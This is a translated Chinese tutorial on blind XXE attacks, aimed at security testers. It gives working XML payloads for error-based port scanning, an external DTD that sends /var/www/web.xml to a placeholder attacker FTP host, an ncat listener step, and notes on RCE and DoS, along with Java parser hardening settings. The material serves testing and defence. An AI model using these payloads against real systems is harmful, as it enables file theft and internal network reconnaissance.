【译】黑夜的猎杀-盲打XXE
字数 1278 2025-08-29 08:31:41
XXE漏洞盲打技术深度解析
1. XXE漏洞基础概念
XML外部实体攻击(XXE)是一种应用层攻击,发生在应用程序能够解析XML输入且配置不当的情况下。攻击者通过在XML输入中包含外部实体引用,可能导致:
- 机密信息泄漏
- 拒绝服务攻击(DoS)
- 服务器端请求伪造(SSRF)
- 端口扫描
- 本地文件包含(LFI)
- 远程代码执行(RCE)
2. 盲打XXE的发现过程
2.1 初始探测
- 将JSON格式的POST请求Content-Type改为
application/xml - 观察服务器返回的错误信息:
javax.xml.bind.UnmarshalException - with linked exception: [Exception [EclipseLink-25004] (Eclipse Persistence Services): org.eclipse.persistence.exceptions.XMLMarshalException Exception Description: An error occurred unmarshalling the document
2.2 验证XML处理能力
发送基本XML结构:
<?xml version="1.0" encoding="utf-8"?>
服务器返回更详细的错误信息,确认XML处理能力。
3. 盲打XXE技术详解
3.1 基于错误的端口扫描
攻击原理:利用XXE进行SSRF,通过错误响应差异判断端口开放情况。
攻击载荷示例:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>
响应分析:
- 端口关闭:返回"Connection refused"
- 端口开放:返回其他特定错误信息
自动化扫描:
- 使用Burp Intruder
- 设置攻击点:端口号(0-65535)和协议(HTTP/HTTPS/FTP)
- 根据响应长度和内容差异判断开放端口
3.2 外部交互验证
验证服务器出站能力:
- 在攻击者服务器上监听端口:
ncat -lvkp 8090 - 发送包含外部实体引用的XML:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data SYSTEM "http://ATTACKERIP:8090/" [ <!ELEMENT data (#PCDATA)> ]> <data>4</data> - 观察攻击者服务器是否收到连接
3.3 文件存在性探测(OOB技术)
攻击流程:
- 主请求引用外部DTD文件
<?xml version="1.0" ?> <!DOCTYPE a [ <!ENTITY % asd SYSTEM "http://ATTACKERSERVER:8090/xxe_file.dtd"> %asd; %c; ]> <a>&rrr;</a> - 外部DTD文件内容:
<!ENTITY % d SYSTEM "file:///var/www/web.xml"> <!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://ATTACKERSERVER:2121/%d;'>"> - 通过错误响应差异判断文件是否存在:
- 文件不存在:"No such file or directory"
- 文件存在:其他特定错误
3.4 内网信息收集
FTP协议信息泄漏:
- 使用xxe-ftp-server监听
- 发送包含FTP引用的XML:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [ <!ENTITY % one SYSTEM "ftp://ATTACKERHOST:2121/"> %one; %two; %four; %five; ]> - 从FTP日志获取内网IP和Java版本信息
4. 防御措施
-
禁用外部实体处理:
// Java示例 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); -
输入验证:
- 使用白名单验证XML输入
- 过滤DOCTYPE声明
-
安全配置:
- 使用本地静态DTD
- 限制XML解析器的网络访问
-
其他措施:
- 使用JSON替代XML
- 定期更新XML处理器
- 实施严格的防火墙规则限制出站连接
5. 高级利用技巧
-
内网端口扫描:
- 获取内网IP段后,可对内网其他主机进行扫描
- 结合错误响应差异识别内网服务
-
数据外带:
- 通过FTP/DNS等协议外带数据
- 使用编码技术绕过长度限制
-
RCE尝试:
- 利用expect://协议(需PHP环境)
- 通过jar://协议执行代码
-
DoS攻击:
- 使用递归实体引用消耗服务器资源
- 引用大文件导致内存耗尽
6. 工具推荐
-
测试工具:
- Burp Suite (Intruder模块)
- OWASP ZAP
- XXEinjector
-
监听工具:
- ncat/netcat
- xxe-ftp-server
- Burp Collaborator
-
分析工具:
- Wireshark (分析网络流量)
- tcpdump (捕获数据包)
通过掌握这些盲打XXE技术,安全测试人员可以在没有直接回显的情况下,依然能够有效识别和利用XXE漏洞,全面评估系统安全性。